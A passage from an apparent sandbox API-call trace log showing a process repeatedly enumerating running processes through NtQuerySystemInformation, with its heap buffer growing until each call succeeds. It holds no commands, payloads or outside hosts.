ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.581] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1a3a8) returned 0x2560048 [0208.581] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.581] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1b3cc) returned 0x2560048 [0208.582] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.582] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1c3f0) returned 0x2560048 [0208.582] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0208.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0208.941] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0208.941] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0208.941] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0208.941] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0208.941] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0208.941] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0208.941] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0208.941] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0208.941] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0208.941] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0208.942] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0208.942] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0208.942] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0208.942] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.942] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0208.942] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.942] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0208.942] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.943] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0208.943] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.943] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0208.943] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.943] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0208.943] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.944] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0208.944] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.944] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0208.944] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.945] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0208.945] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.945] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0208.945] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.945] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0208.946] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.946] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0208.946] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.946] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0208.946] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.946] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0208.946] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.947] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0208.947] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.947] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0208.947] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.948] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0208.948] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.948] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x19384) returned 0x2560048 [0208.948] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.948] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1a3a8) returned 0x2560048 [0208.948] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.949] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1b3cc) returned 0x2560048 [0208.949] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.949] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1c3f0) returned 0x2560048 [0208.949] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.949] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1d414) returned 0x2560048 [0208.949] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0208.950] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0209.075] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0209.075] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0209.076] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0209.076] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0209.076] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0209.076] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0209.076] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0209.076] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0209.076] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0209.076] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0209.076] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0209.076] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0209.077] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0209.077] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.077] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0209.077] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.077] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0209.077] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.078] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0209.078] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.078] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0209.078] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.078] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0209.078] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.078] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0209.078] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.079] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0209.079] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.079] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0209.079] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.079] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0209.079] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.080] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0209.080] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.080] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0209.080] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.080] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0209.080] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.081] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0209.081] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.081] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0209.081] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.081] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0209.081] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.082] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0209.082] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.082] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x19384) returned 0x2560048 [0209.082] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.082] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1a3a8) returned 0x2560048 [0209.082] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.083] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1b3cc) returned 0x2560048 [0209.083] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.083] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1c3f0) returned 0x2560048 [0209.083] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.084] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1d414) returned 0x2560048 [0209.084] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0209.084] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0209.276] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0209.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0209.276] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0209.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0209.276] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0209.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0209.276] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0209.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0209.276] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0209.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0209.277] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0209.277] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0209.277] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0209.277] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.277] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0209.277] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.278] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0209.278] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.278] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0209.278] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.278] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0209.278] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.278] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0209.278] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.279] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0209.279] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.279] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0209.279] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.279] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0209.279] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.280] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0209.280] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.280] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0209.280] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.280] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0209.280] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.281] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0209.281] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.281] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0209.281] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.281] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0209.281] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.282] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0209.282] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.282] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0209.282] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.282] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x19384) returned 0x2560048 [0209.282] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.283] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1a3a8) returned 0x2560048 [0209.283] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.283] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1b3cc) returned 0x2560048 [0209.283] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.283] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1c3f0) returned 0x2560048 [0209.283] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.284] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1d414) returned 0x2560048 [0209.284] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0209.284] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0209.824] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 